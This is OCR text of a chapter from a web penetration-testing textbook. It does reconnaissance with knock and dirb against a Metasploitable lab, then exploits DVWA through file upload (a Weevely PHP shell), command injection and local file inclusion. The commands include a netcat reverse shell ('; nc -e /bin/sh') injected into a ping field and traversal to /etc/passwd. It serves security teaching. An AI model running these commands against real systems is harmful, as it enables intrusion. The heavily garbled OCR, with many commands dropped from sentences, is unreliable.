information about the victim. Now, we will make use you information
that we get from URLs the victims browses, also how we can analyze
the files from the targets machine to which we have access to and
what useful information we can gather through them. We will then see
how to use the gathered information to launch attacks.
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Finding subdomains

In this section we're going to study subdomains. We see subdomains
everywhere, for example, . Now, if we have , we would have , or we
might have user.facebook.com. Suppose we google

, Which just takes us to Gmail. Why subdomains are important is, in a
lot of cases, websites have subdomains for their own users, for
example, for employees or for certain customers, so they're not
advertised unless it's some sort of a VIP customer or we are an
employee. We will not see these subdomains on search engines and
we will never see a link leading to them, so they might contain
vulnerabilities or exploits that will help us gain access to the whole
website, but we just never knew about them because they're not
advertised. Another thing is, a lot of the big websites, when they're
trying to install a new update or add a new feature to the website,
install it in a subdomain, so we have

, Which actually contains a beta version of Facebook, which contains
experimental features. Now, experimental features are great because
they're still under development, and there's a really high chance of
finding exploits in them. This is actually true, not so long ago,
someone was able to brute-force the restore password key for any
Facebook user and was able to gain access to any Facebook user's
account. This was only possible through because Facebook used to
check for a number of attempts or failed attempts, and they just didn't
implement that security feature in beta because they didn't think
anyone was going to go there. Beta usually contains more problems
than the normal website, so it is very useful to try and hack into it. In
this section, we will see how we can find any subdomains that have
not been advertised, or even advertised ones, so we'll be able to get
subdomains of our target.

We're going to use a tool called knock. The tool is very simple. We
don't really need to install it; all we have to do is download it using a
command. The command is , and then we put the URL of the tool as
follows:

git clone https://github.com/guelfoweb/knock.git
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Once it's downloaded, navigate to it using the file. We are going to
run it using the

enter the website that we want to get the subdomains of, which is .
The

following is the command:

python knockpy.py isecurity.org

command and we'll see that we have the command, and then we wiill
After execution, the command will show some information about the
website, as seen in the following screenshot:

"k /knockp y a}' dalaly
Target information isecurlty.org

Ip Address Target Name

lsecurlty.org

It will perform a brute-force and a Google-based subdomain search
for isecur1ty, and it will show us any subdomain that isecur1ty might
have that we could try and test the security of and see what's
installed on it. Maybe we will be able to gain access to the website
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through that subdomain. Once the scan is complete, as we can see in
the following screenshot, we managed to find seven subdomains that
were not advertised:

Getting subdomain for isecurlty.org
Domain Name

y.org
ra

er.isecurlty.org

wwW.1lsecurlty.org
isecurlty.org

Found 7 subdomain(s) in 3 hosti{(s).
/7 subdemain(s) are in wordlist.

Output saved in CSVY format: 1secUurlty arg

~/knock /knockpy# |

Now, one of them is . We already know about , is just a local
subdomain. We can see that the mail server has its own subdomain
as well, and we can see a very interesting

one, . It actually did contain a beta version of a script that was been
worked on. Hence, if someone was trying to hack into our website,
they'd actually see that there is a script under development, and
there's a high chance that they would have been able to find a
vulnerability in it and gain access to the whole website.

This just shows us again how important information gathering is,
which can be used to gain access to websites. If we don't do it, we
will be missing a lot of things. For example, we might be missing a
whole script with a whole number of vulnerabilities, or we could be
missing an admin login page or an employee login page.

Information gathering using files

So far, we have learned how to find any subdomains that exist within
our target website that have not been listed. In this section, we're
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going to see how we can find files and directories that are stored on
our target computer or our target website. Again, these could be
useful because these files could contain passwords, they could
contain config information, or they could contain information about the
actual server, which will help us further exploit our target.

Let's just first see what is meant by files and directories, just to show
the structure of directories on a web server. We have our
Metasploitable machine and, as we know, usually the web server stuff
is stored in directory. If we run , we will see that we have a number of
files and directories, as shown in the following screenshot:

sfadninPnetasploitable: Avar wuwuw
av index.php phpinfo.php test tikiwiki-old
vwa nutillidae hpMyndmin tikiwiki twiki

If we run the command, it gives us a list of precise information about
files and directories.

We can see in the preceding screenshot that we have a directory
called . Mutillidae is a web application that is designed to behave just
like Metasploitable. It is designed so that it has a number of exploits
so that we can learn how to hack using it. You will see that it's
installed in a directory called .

Now, if we go to the IP address of the Metasploitable machine access
for us to Mutillidae. If we click on the URL, see the following:

, there is easy

, we should
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| hittpe//10.0._mutillidae/ x | +
& | (D] 10.0.2.4/mutillidae - Searct %8 -

[ Most Visited~ ﬂ()ﬁvm'nw Security 1’\_L'(dli Linux "\th!'}u:-. "\Kdi Tools & Exploit-DB W Aircrack-ng "\Kn‘li Forums I"q(l'\.lmHunh-': '\'Kdli Training i@ Getting Started

®@%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - 1 try harder) Mot Logged In

Toggle Hints Resel DB

Hume Login/Register Toggle Securily View Log View Capltured Dala

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP
Top 10

OWASP Top 10

Others

Core Controls ¥ ‘

Latest Version / Installation

« Latest Vrsion

» Installation Instructions

+ Usage Instructions

« Getrid of those pesky PHP errors
» Change Log

+ Notes

0 1]
[
n L]

That means we are inside the directory. So, every time we see a
forward slash, that usually means we are inside a directory. Now, if
we run and we also run the command, we will see that we have a
large number of files:

aptured-data.php
aptured-data.txt
hange-log.htm
las=es

losedb. inc
onfig.inc
redits.php
ns—lookup.php
ocumentation
avicon.ico
ooter.php
ramer.html

raming .php

includes
index.php
installation.php
javascript
login.php
log-visit.

passuords
pen—test-tool-lookup.php
php—errors.php
phpinfo.php
phpHuyfidmin. php
process—commands . php
process-login-attempt.php
redirectandlog .php
register.php
rene—nagritte . php
robots . txt
secret-administrative-page=s.php
set-background-color.php
set-up-database.php
show-log . php
zite-footer-xss-discusszion.php
source—viewer . php

styles
text-file-viewer.php
uzsage—instructions.php
uszser—info.php
uzer—poll.php
view-=zomeonesz-blog . php
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For example, let's say we wanted to open one of these files and we
have . If we do , then this is our current file on the browser, it's called ,
we will be able to see it in the URL .

Now, what we learned from this is that is just a directory inside our
web root. So, at the moment, the Metasploitable web application is
stored in

directory and then the file that we are accessing is . If we run the
command, we will see that we're in :

sfadmin@metasploitable: varsuwwurnutillidae

varsuwu-s-nutillidae

The IP address kind of hides where our route is, it hides the route,
and then everything after that will be displayed after the |IP address.

Therefore, what we're looking to find is all the directories and the files
that we cannot see. So, through the links, we will be able to access
different types and different pages. This is the same with any other
website, but there are always files and directories hidden that we just
never see. We'll see how we can get URLs for the files and access
them, and read the information in them. To do that, we're going to use
a tool called , and to see how to use that tool we're going to run the
command to see all the options associated with that tool. In the
following screenshot, we can see the syntax. To use the tool, we just
type in , the URL of our target, and then output a wordlist. The way it
works is based on a brute-force attack, and just uses a wordlist of
names and it sends requests with those names. Any time it finds
something it tells us, then we will find a file with a name from the
wordlist. So, it is only able to find names and directories based on the
wordlist that we provide:
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DIRE(1) General Commands Manual DIREB(1)

NAME
dirb - wWeb Content Scanner

SYNOPSIS
dirb =<url base> <url base> [<wordlist file(s)=] [options

DESCRIPTION
DIRE IS a Web Content Scanner. It looks for existing (and/or hidden)
Web Objects. It basically works by launc 4 ionary basesd attack
against a web server and analizing the response.

OPTIONS
-a <agent_string>
Specify your custom USER AGENT. (Default is: "Mozilla/4.0
{compatible; MSIE 6.0; Windows NT 5.1)")

-b Don't squash or merge sequences of /../ or /./ 1in the given
URL.

-c¢ =cookie string=
Set a cookie for the HTTP request.

-E =certificate>
Use the specified client certificate file.

-f Fine tunning of NOT FOUND (404) detection.

-H =<header_string=
Add a custom header to the HTTP request.

Manual page dirb(1l) line 1 (press h for help or g to quit)

We can create a wordlist using or we can use wordlists that come
with the tool. The options here allow us to configure how the tool
works. We can change things around the way we want them. For
example, we can disable the recursive nests of the tools so it just
runs on one directory instead of trying a number of directories. We
can get it to ask us if we want it to access the directory or not, instead
of automatically accessing directories and trying to find files within
those directories, because this could be exhaustive if our target is a
big website; there might be a lot of directories and then the tool would
try to access all of them and find files within all of them. We can see
how big the tree could go. We can also set it to use a username and
a password if the target websites use some sort of authentication,
and we can use for verbose output and to output the results to a file.
Now, let's look at a very simple example. We are just going to run on
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our target, which is . We inserted because, remember, we're targeting
a website not an IP address. Then, we are going to put the directory,
in our case the directory, that we want to find files and directories
within. We don't want it to access anything within other directories,
because we have a number of scripts installed on the Metasploitable
web server; we only want it to work on the directory. So, the
command is as follows:

dirb http://10.0.2.4/mutillidae/

After writing the command in the Terminal and hitting Enter, it will
start to find URLs and files within the web application. We can see
the command in action in the following screenshot:
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# dirb http://10.0.2.4/mutillidae/

START TIME: Sat Jul 28 09:17:55 2018
URL BASE: http://10.0.2.4/mutillidae/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- Scanning URL: http://10.0.2.4/mutillidae/
=== DIRECTORY: http://10.0.2.4/mutillidae/classes/
+ http://10.0.2.4/mutillidae/credits (CODE:200|SIZE:509)
==> DIRECTORY: http://10.0.2.4/mutillidae/documentation/
+ http://10.0.2.4/mutillidae/favicon.ico (CODE:200|SIZE:1150)
+ http://10.0.2.4/mutillidae/footer (CODE:200|SIZE:450)
+ http://10.0.2.4/mutillid ' (CODE:200|5IZE:19879)
+ http://10.0.2.4/mutillidae/home (CODE:200|SIZE:2930)
=== DIRECTORY: http:fﬁlﬂ.D.2.4;mutillidaefimag_sf
+ http://10.0.2.4/mutillidae/inc (CODE:200|SIZE:386260)
=== DIRECTORY: http://10.0.2.4/mutillidae/includes/
+ http://10.0.2.4/mutillidae/index (CODE:200|SIZE:24237)
+ http://10.0.2.4/mutillidae/index.php (CODE:200|SIZE:24237)
+ http://10.0.2.4/mutillidae/installation (CODE:200|SIZE:8138)
=== DIRECTORY: http://10.0 /mutillidae/javascript/
+ http://10.0.2.4/mutillic login (CODE:200|SIZE:4102)
+ http://10.0.2.4/mutillidae/notes (CODE:200|SIZE:1721)

[ I S R L I 8

It will take a while for it to process small wordlist file that is stored in

We can have a look at the

there are any other wordlists that we would like to use, but we can
use them only by placing the full path to the wordlist after the
command. Therefore, instead of the way we wrote the command, just
state the path where our wordlist is placed. For example, let's say, if
it's in the directory, we type it as , but at the moment, it's using the
default one, which is stored in the

directory. In the next section, we'll see how to analyze the files we
downloaded using the tool.

will use a wordlist file and it will use a default
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directory and see if

Analyzing file results

We can see in the following screenshot of the result that the tool was
able to find a number of files. Some of them we already know:

GENERATED WORDS: 4612

- Scanning URL: http://10.0.2.4/mutillidae/ ----
==» DIRECTORY: http://10.0.2.4/mutillidae/classes/
+ http://10.0.2.4/mutillidae/credits (CODE:200|SIZE:509)
=== DIRECTORY: http://10.0.2.4/mutillidae/documentation/
+ http://10.0.2.4/mutillidae/favicon.ico (CODE:200|S5IZE:1150)
'/10.8.2.4/mutillidae/footer (CODE:200|SIZE:450)
10.0.2.4/mutillida ader (CODE: 1DD| SIZE:19879)
J/10.0.2. 4 'r|'|l|tilli|1an=,- nome t[t:DE 1CMIII| ZE: 1'EI';»CII )
=== DIRECTORY: http://10.0. /m
+ http://10.0.2.4/ mutllllddc inc t{uDE 1DD| 3* 260 )
=== DIRECTORY: http://10.0.2.4/mutillidae/ lnclude_
+ http://10.0.2.4/mutillidae/1i (CODE:200|SIZE:24237)
+ http://10.0.2.4/mutillidae/index.php (CODE:200|SIZE:242
+ http://10.0.2.4/mutillidae/ins tdllatlun (CODE:200|SIZE: ulSB}
==> DIRECTORY: http://10.0.2.4/mutillidae/javascript/
+ http://10.0.2.4/mutillida gin (CODE:200|5IZE:4102)
+ http://10.0.2.4/mutillidas iotes (CODE:200|SIZE:1721)
+ http://10.0.2.4/mutillidae ge-not-found (CODE:200|SIZE:705)
==> DIRECTORY: http://10.0.2.4/mutillidae/passwords/
+ http://10.08.2.4/mutillidae/phpinfo (CODE:2808|SIZE:48816)
+ http 10.¢€ 4/mutillidae/phpinfo.php (CODE:200|SIZE:48828)
+ http:// A/mutillidae/phpMyAdmin (CODE:200|SIZE: 1*4r
'/10.0.2.4/mutillidae/register (CODE:200|SIZE:1823
10. € 4/mutillida bots (CODE:200|SIZE:160)
+ http://10. .4/mutillidae/robots.txt (CODE:200|SIZE:160)
=== DIRECTORY: http://10.0.2.4/mutillidae/styles/

PRI B PRI R PO

Now, as we can see in the preceding screenshot, is just an icon; and
are probably only style files; and is the index that we usually see. We
can see that we discovered a page that allows people to log in.

Now, in many scenarios, we would be able to find the username and
password of a target by exploiting a really complex vulnerability, and
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then end up not being able to log in because we couldn't find where
to log in. In such cases, tools like can be very useful. We can see that
the file is usually very useful because it displays a lot of information

about the PHP

interpreter running on the web server, and as we can

see in the following screenshot, the file contains a lot of information:

System Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i6B6

Build Date Jan & 2010 21:50:12

Server API CGl/FastCGl

Virtual Directory disabled

Support

Configuration File fetc/phpSicai

{php.ini) Path

Loaded Configuration
File

fetc/php5Sicgi/php.ini

Scan this dir for
additional .ini files

letc/php5/cgifconfd

additional .ini files
parsed

Jetc/phpS/cgifconfdigd.ini, Jeto/phpSicgifconfd/mysql.ini, jetc/phpS
Jcoifconf.d/mysgli.ini, Jetc/phpSicgifconfd/pdo.ini, feto/phpS/cgifconfd

/pdo_mysqlini
PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no
Thread Safety disabled
Zend Memory Manager (enabled
IPve Support enabled
Registered PHP zZip, php, file, data, http, ftp, compress.bzip2, compress.zlib, https,
Streams ftps
Registered Stream tcp, udp, unix, udg, ssl, sslv3, sslv2, tis
Socket Transports

Registered Stream
Filters

string.rotl3, string.toupper, string.tolower, string.strip_tags,
convert.*, consumed, convert.iconv.*, bzip2 *, zlib*

Preceding information's are useful, and we can get to know some of

the directories.

From the preceding screenshot, we know that it's

running php5, the configuration is stored in the file. files are usually
the config files for PHP, so we can see all the places where they are

stored.

When we scroll down further, we will see the permissions installed.
We will also see that it has MySQL, so it's using MySQL.:
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mysql

MySQL Support enabled
Active Persistent Links i}

Active Links 0

Client APl version 5.0.51a

MYSQL MODULE TYPE external

MYSOQL SOCKET

Hearfrundmysgld/mysgld.sock

MYSQL INCLUDE

-lusrfinclude/mysgl

MYSQL LIBS -Liusrflib -lmysglclient
Directive Local Value Master Value

mysql.allow _persistent On On
mysqgl.connect_timeout 60 60
mysql.default_host o value no value
mysql.default_password o value no value
mysql.default_port o value no value
mysql.default socket no values no value
mysql.default user na value na value
mysql.max _links Unlimited Unlimited
mysql.max_persistent Unlimited Unlimited
mysql.trace_mode Off Off

We can see in the preceding screenshot the directories where
different types of configurations are stored. We can also see all the
modules and extensions that are being used with PHP, so the file is
very useful. We can see in the following screenshot that we managed
to find where the login is, and that's basically the login that's used to
log in to the database:

+ http
+ http:
+ http
+ http:

.4/mutillidae/phpMyAdmin (CODE:200|SIZE:174)
.4/mutillidae/register (CODE:200|SIZE:1823)
.4/mutillidae/robots (CODE:200|SIZE:160)

.4/mutillidae/robots.txt (CODE:280|SIZE:160)

2
2
. 2
2

Another very useful file is the file, which tells search engines, such as
Google, how to deal with the website. Hence, it usually contains files
that we don't want the website or Google to see or to read. Now, if we
can read the file, then we'll be able to see what the web admin is
trying to hide. We can see in the following screenshot that the web
admin doesn't want Google to see a directory called , and it doesn't
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want us to see a file called either. Niether does it want it to see these
other files:

Now, let's see the
/| http://10.0.2...ae/robots.txt x | +

€ | (0| 10.0.2.4/mutillidae/robots. txt

Most Visitedv [JlOffensive Security

User-agent: *

Disallow: ./passwords/

Disallow: ./config.inc

Disallow: ./classes/

Disallow: ./javascript/

Disallow: ./owasp-esapi-php/

Disallow: ./documentation/ and files:

http://10.0.2...ae/robots.txt ® | Index of /mutillidae/pass.. = | +

@ | 10.0.2.4/mutillidae/passwords/

fi Most Visitedw  Jll Offensive Security "% Kali Linux % Kali Docs "% Kali Tools
Index of /mutillidae/passwords

Name Last modified Size Description

¥ Parent Directory -
accounts.txt 11-Apr-2011 20:14 176

Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.0.2.4 Port 80

We can see in the preceding screenshot that there is a file called and,
clicking on the file, we can see that we've got some usernames and
passwords. So, we can see that there is a password for the user, with
the password and we can see that we have a

user, which is . So, we managed to find usernames and passwords,
as seen in the following screenshot:
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http://10.0.2...aefrobots.txt ® | http://10.0.2.. /accounts.txt x
€& o 10.0.2.4/mutillidae/passwords/accounts.txt
f5] Most Visitedv [l Offensive Security S Kali Linux % Kali Doc

'admin', 'adminpass', 'Monkey!!!

'adrian', 'somepassword', 'Zombie Films Rock!!!
'john', 'monkey', 'I like the smell of confunk
'ed', 'pentest', 'Commandline KungFu anyone?'

Now, we're still not sure what the preceding usernames and
passwords are for, but we're sure that we were able to find very
useful information. Another useful file is the file, and we can see in
the following screenshot that we have information that

allows us to connect to the database, because they have, , , and
parameters:

http://10.0.2..ae/robots.txt *  http://10.0.2.. faccounts.txt x | http://10.0.2..ae/config.inc %
@ | 10.0.2.4/mutillidae/config.inc

fi5 Most Visitedw [l Offensive Security S Kali Linux “ Kali Docs “ Kali Tools = Exploit-DB Wy

<7php
/* NOTE: On Samurai, the $dbpass password is "samurai" rather than blank */
$dbhost = 'localhost';
fdbuser = 'root';
$dbpass = '';
$dbname = 'metasploit’;

=

We can see that the username is and the password is blank, so we
can go ahead and try to connect to the database based on the
commands from the preceding screenshot, and then we should be
able to get access to the database.

Also, we're still not sure where we can use them, but we can add
them to a list to try to log in to the admin, or just store them in a list so
that we can use them if we carry out a bruteforce attack.

Summary
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This chapter focused on gathering information. Firstly, we used tools
such as Whols Lookup, Netcraft, and Robtex. Then, we focused on
how we can use the websites hosted on a server to exploit that
particular server. We then learned about domains and how they can
act as an important source of information that can we use to attack a
victim. Later, we studied how to access files on a target system or
target websites, and also how to analyze important information from
various files.

Now, in the next chapter, we are going to see how important and
powerful information gathering can be to launch attacks on victims.
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File Upload, Code Execution, and File Inclusion
Vulnerabilities

This chapter will talk about different vulnerabilities and will explain
how to perform them on the Metasploitable machine. A detailed
illustration of the each of the scenarios will be covered. At the end of
every section, we will also see a quick solution to each vulnerability
explained.

The chapter will cover the following topics:

File upload vulnerabilities

Code execution vulnerabilities
Local file inclusion vulnerabilities
Basic mitigation

File upload vulnerabilities

In this chapter, we're going to have a look at file upload
vulnerabilities. This is the simplest type of vulnerability because it
allows us to upload any type of file. For example, if the target
computer can understand PHP, then we can upload any PHP file or a
PHP shell and get full control over the target computer.

If the target computer or the target server understands Python then
we can just upload Python code or Python Shell. We can create
these shells using Veil-Evasion or Metasploit, or we can use our own
PHP or Python Shell.

In the next section, we are going to have a look at a tool called
Weevely that generates PHP shells and allows us to gain access to
and do a number of cool things on the target computer.

Getting started with Weevely
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When we're trying to pen test a website, before trying to use any tools
or any other means, after we perform our information gathering, first
browse the website. Just get a feel of the website, see what's
installed on it, and try to exploit the features.

After going through the website, upload a file using the Upload tab.
The website allows us to upload a file. Sometimes in penetration
testing tasks, it could be a website that's allowing us to upload a
profile picture or a classified website allowing us to upload pictures of
cars:

i | Vulnerability: File Upload

Instructions |

Choose an image to upload:
| Browse.. |Nofile selected.

Brute Force | Upload |

|

Command Execution |
CSRF | More info

|

|

|

File Inclusion

SQL Injection

SQL Injection (Blind)

XSS reflected
XSS stored

|

|

DVWA Security |
PHP Info |
|

|

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

View Source | View Help |

As we can see in the preceding screenshot, the website expects us to
choose and upload an image. Choose any image by clicking the
Browse... button, and upload a picture by clicking the Upload button.

We can now see, in the following screenshot, that the image has
been uploaded successfully:
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Choose an image to upload:
Browse... | No file selected.

Upload
../ ../hackable/uploads/image. jpeg succesfully uploaded!

It's placed in , which means two directories backward followed by the
filename.

Let's see whether the picture has actually been uploaded. We're
going to use two directories, the vulnerabilities ( ) and upload

( ). We are using the directories just to ensure that the picture was
uploaded properly. Once we add the directories to the address bar,
we will see that the picture has been successfully uploaded:

The next thing we want to do is try uploading a PHP file, and to do
that we're going to use a tool called Weevely. As said before, to
create a payload or a shell, if that's what we want to call it (and it
obviously is going to be a PHP shell), we can use Metasploit. To
create a PHP payload, we're going to use a different tool that's
designed for web application penetration testing.

It's quite easy to use. First, we are going to type the tool name and
add because we want to generate a payload or a shell file. Then we
will put a password for the file so that only we can access it and
control the website. As demonstrated in the following snippet, the
password is and we want to store it in the location, called

. The command is as follows:

weevely generate 123456 /root/shell.php

So, is the name of the program, is to generate a shell, followed by the
password, for authentication purposes, which is stored in . Hit Enter
and create it. As we can see in the following screenshot, the file is
generated at the specified location:

Jfroot

alert.js . Public
backdoored-calc.exe shell.php
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Now go back to the DVWA website and upload the file the same way
we uploaded the image. All we need to do is use run the following

command: weevely http://10.0.2.4/dvwalhackable/uploads/shell.php 123456

This process is similar to multi-handler waiting for a connection to the
backdoor. We are connecting the backdoor that we uploaded, and we
can see in the following screenshot we are in the filesystem:

Using , we'll can just type in any Linux command, which will be
executed on the target computer, and for which we can see the
results. If we type we will be able to see the location , and if we type ,
we will be able to see the user, which is the . If we type , just to
confirm that this is the Metasploitable machine, it will give us the
following output:

verify script integrity and sent payload correctness

verify script integrity and sent payload correctness

ikegrily and senl payload correclness

We can do anything we want: list the files, navigate; we can perform
any Linux command that we want. Weevely also offers many more
features. If we type in , we'll be able to see more functionalities of
Weevely. We can try to escalate our privileges, execute SQL queries,
and a lot of cool stuff that is just designed for web application
penetration testing.

Code execution vulnerabilities

This type of vulnerability allow us to execute the operating system
(OS) code on the target server. If the target server uses Windows, we
will be able to execute Windows commands. If it uses Linux, then we
will be able to use Linux commands.

This is a critical vulnerability that would allow the attacker to do
anything they want with the target's server. We can upload a PHP
shell using the command, or upload a payload, a virus, using the
Linux command. We just need to make sure that we're uploading it to
a file or to a directory that we're allowed to write to.
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Another way of exploiting this vulnerability is to just run OS
commands and get a reverse shell based on these commands. We
can run OS commands and the programming languages supported
by the OS in order to try and get a reverse connection on our
computer.

Let's assume that we are browsing and click on the Command
Execution tab on DVWA, which take us to the textbox website, which
will ping for free. We should always try to experiment with the input
box we see, try to see what that input box does and what can we
inject into it, and what can we do to get hacking started.

So, for example, this input box is asking us to ping, and if we put in
an IP, for example, we're going to put . After filling in the details, click
on submit. We can see the ping results in the following screenshot:

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

submit |
PING 18.8.2.15 {18.8.2.15) 56(84) bytes of data.
64 bytes from 18.8.2.15: icmp_seq=1 ttl=64 time=08.235 ms

64 bytes from 18.8.2.15: icmp seq=2 ttl=64 time=08.627 ms
64 bytes from 18.8.2.15: icmp seq=3 ttl=64 time=0.325 ms

- 18.8.2.15 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/favg/max/mdev = B8.235/08.395/0.627/08.169 ms

More info

We can view the execution of the command in Linux systems. Now
let's see if we can exploit, if it's actually executing the command.

How would we exploit it if it's accepting what we're inputting, and then
it will the command?

In Linux and Unix-based commands, we can use the semicolon ()
sign to execute multiple commands on one line, for example, .
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If we try writing this command on the Terminal. Let's start by writing
the list command, , and then , which is the working directory. So if we
write followed by , it will execute both commands. It will also display
the working directory.

:~# 1s; pwd
alcert.js
backdoored-calc.exe

y msT resource.rc

LT
Lo

. S5 A tPetine 87 Kismet netxml
proxy.log U :
/root

This time, we will be adding next to the IP address. Here's it how it
should look:

Let's now see what will the execution look like. Go back to the DVWA
server and write on the address bar and then click . This screenshot
shows us the

current location of our working directory ( ):

Ping for FREE

Enter an IP address below:
submit |

PING 18.8.2.15 (18.68.2.15) 56(84) bytes of data.

64 bytes from 18.8.2.15: icmp_seq=1 ttl=64 time=8.275 ms
64 bytes from 18.8.2.15: icmp seq=2 ttl=64 time=0.561 ms
64 bytes from 10.8.2.15: icmp seq=3 til=64 time=0.487 ms

---18.8.2.15 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 08.275/08.414/08.561/0.118 ms
Svar/www/dvwa/vulnerabilities/exec
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It clearly notes the that was inserted is executed, which means that
we can insert any commands and it will surely be executed.

Download the resources file with commands from the book's GitHub
repository to get a reverse connection from the target computer.
There are a number of commands that will give us a reverse
connection. All of the commands depend on the programming
language. We have commands in PHP, Ruby, PERL, and BASH.
BASH is the Linux shell command language, so all Unix OS will be
able to execute BASH commands. The command should work on
most Unix-based systems. Again, most users would use Python and
Netcat. We will be using Netcat in this chapter.

Before getting started, we're going to listen for connections the way
we did previously with Metasploit for multi-handling. We can use a
multi-handler to listen to the connections. Netcat is just a tool that
allows us to listen to and connect computers together. Use the
following command:

nc -vv -l -p 8080

The is the port, is the program, and is used for viewing verbose
output. We can check the output and see whether anything goes
wrong. The command on is used for listening. Hit Enter, and we will
able to see the following message:

:~# nc -vv -1 -p 8080

listening on [any] 8080 ...

The next command is going to help us connect the web server back
to our computer using Netcat. So, let's assume that the web server
has Netcat, and we check how it works. Refer to the Netcat command
from the

file, which had all the commands written in it. Here is the command: ...

e /bin/sh 10.0.2.15 8080

As shown, we will use , the current IP of the device, the attacker
device, followed by the port. In our case, it will be .

Copy the command and paste it into the address bar of DVWA server
so that the command is executed. Previously, the command that was
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used was . But now let's try removing the and then paste the code.
Here is the command:

10.0.2.15; nc -e /bin/sh 10.0.2.15 8080

This first IP connects the web server back to the Kali machine and
then to the attacker machine:

Ping for FREE

Enter an IP address below:
10.0.2.15; nc -e /bin/sh 10.0.2.15 8080 i. submit .

FING 18.8.2.15 (18.8.2.15) 56(84) bytes of data.

64 bytes from 106.8.2.15: icmp seq=1 ttl=64 time=08.275 ms
64 bytes from 10.8.2.15: icmp seq=2 ttl=64 time=08.561 ms
64 bytes from 10.8.2.15: icmp seq=3 ttl=64 time=8.487 ms

--- 18.8.2.15 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = B.275/0.414/0.561/0.118 ms
Svar/www/dvwa/vulnerabilities/exec

Go back to the Terminal, and we will be to see a connection call to
from , and we will again be adding , , and

when we insert the command, we will get

. As shown in the screenshot, and we can then add just to confirm
whether it's Metasploitable. Here's a screenshot depicting this
information:

:~# nc -vv -1 -p B08O
listening on [any] 8080
10.0.2.4: inverse host lookup failed: Unknown host
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 35524
pwd
Svar/www/dvwa/vulnerabilities/exec
1s

hElp

index.php

source

id

uid=33(www-data) gid=33(www-data) groups=33{www-data)
ThEWE

Linux
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We can run any commands on the target computer and have access
to the target computer.

Local file inclusion vulnerabilities

Local file exploits or vulnerabilities allow us to read any file that is
within the same server as the vulnerability; even if the file exists
outside the directory, we'll be able to read the information within it.

A vulnerability is critical because we can read any files, such as
important files or password files. Also, if there are a number of
websites on the same server and we managed to find a website that
we're not targeting, then we might be able to access files related to
the website that we're targeting and then further exploit the website
from there.

We are going to exploit the vulnerability through the URL. So, usually
in our code execution examples, we write the code in the textbox.
Sometimes, we might find the code vulnerability in the URL, which
will have keywords such as .

The same old process continues. Click on the File Inclusion tab on
the DWVA server and the URL we get is

We can see that the file already has a page. The command will again
load another page. As in the previous example, we will again see the
URL with the IP address and the same command, as explained in the
previous section. Here, in our example, the objective is to open a file
using URL, the URL now will be visible as . After removing the term
from the

. There is a fatal error generated, as shown in the following
screenshot:

€& | (0| 10.0.2.4/dvwalvulnerabilities/fifinclude. w | \ Search ﬂ'

F Most Visited v JlfOffensive Security Se Kall Linux %, Kall Docs e, Kall Tools = Exploit-DB Wiy Alrcrack-ng e, Kall Forums “s, NetHunter “& Kall Training &G

Fatal error: Call to undefined function dvwaExternalLinkUrlGet() in fvar/www/dvwa/vulnerabilities/fifinclude.php on line 15
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We can see a file named on the page, which is in the same working
directory. Let's try and see whether we can read a file called that is
stored in the computer. It's the file containing all the user passwords
present on the current web server and all the users using the current
OS. Let's go to the Terminal and run some commands. For example,
running on Kali returns the following output:

We will see all the users that we have been on the current computer
and their default paths on the current OS. We will now try to read the
file. To do this, go back to the current location in the directory, which
was mentioned before. Referring to the previous screenshot, when in
, we are in the

directory; we need to go back five places back to get to .
As explained, we will need to go five places back by adding double
dots. So, the URL changes to

. The output will be seen once we hit Enter is as follows:
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& (D] 10.0.2.4/dvwa/vulnerabilites/fU7 page = etc/passwd ¢ || Search T O+ RD = =

[ Most Visited v [flOffentive Security S Kali Linux S Kali Docs S Kali Tools & Exploit-DB Wy Aircrack-ng S Kali Forums S NetHunter S Kali Training @ Getting Started

TDOCCO0T0ALIOTINDASN dBEMon:x 11 08EMon:SHSBINBinysh bin:C2-2 DinJBinbin/sh sysac3:3:sySIdev RIS SYNCoCA 65534:5yC DINIDINSIME JAMES:X.550-0AM S USr/gaMeS:Ish MaN:Ce:L2:manarcacheiman Jash e 77 povar
Ii; 4 9 gmewsh binish uucpoel 0ol 0uucpVaNspoaLAICRUINSh prowyx:L3; L3 prooy i bindsh www-dstascd 323 dowww-Oatacivariwwabinish backup:x:34;34 backupvanbackups:
redAaBTURARS /S grial SNAL Bug-REparng System (am IgRAtEINVER abody: Ty onsistentbiniEh U ESC100: 100 amibdibusIg:
ol syuagmln-'lalse Kiogx : nmeklon intalse sshu_v; 104:6! rrun-’\ssndn.sr shmmnl 21000 1000: ms1aarmn mommummmn@ash
i

Warning: Cannod modify e ader Infrmalion - headers alréady sénl

Warning: Gannod moslify be

We will be able to see the files. To understand and read the data,
copy the data on a notepad. By doing so, we will get more information
about the targeted websites. We can also access different, sensitive
files, or files of other websites on the same server. The next section
will help us understand remote file inclusion using Metasploitable.

Remote file inclusion using Metasploitable

Remote file inclusion is a special way of exploiting file inclusion
vulnerabilities. In the previous section, we learned how to include a
file in the server and the ways to access it through local file inclusion
vulnerabilities.

In this section, we will learn how to configure a server so that it allows
the and functions. This will allow the inclusion of a file from a
computer to the

target website. We will learn how to inject a PHP file into the target
computer, which will

help us to run payloads and reverse shells and system commands,
allowing access to the

target or full control of the target server.

Let's get started by exploiting the file inclusion vulnerability that was
discussed in the previous section. We will be using the same
parameter here. The only thing that is different here is the transition
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from local file inclusion to remote file inclusion. This will ensure that
the local file inclusion will allow the accessing of local files, and
remote file inclusion will allow the accessing and injection of remote
files.

Let's test the vulnerability using the Metasploitable framework. In the
framework, we will be using PHP settings, which are stored in the file.
To access them, we will use , which is a text editor. We need to type
the location of the configuration file, which is at

, into the editor. is the actual location where our PHP configuration file
is located. We need to add as the root. In Kali, we do not need to add

to carry out

, because we log in as

actions. After adding

following command:

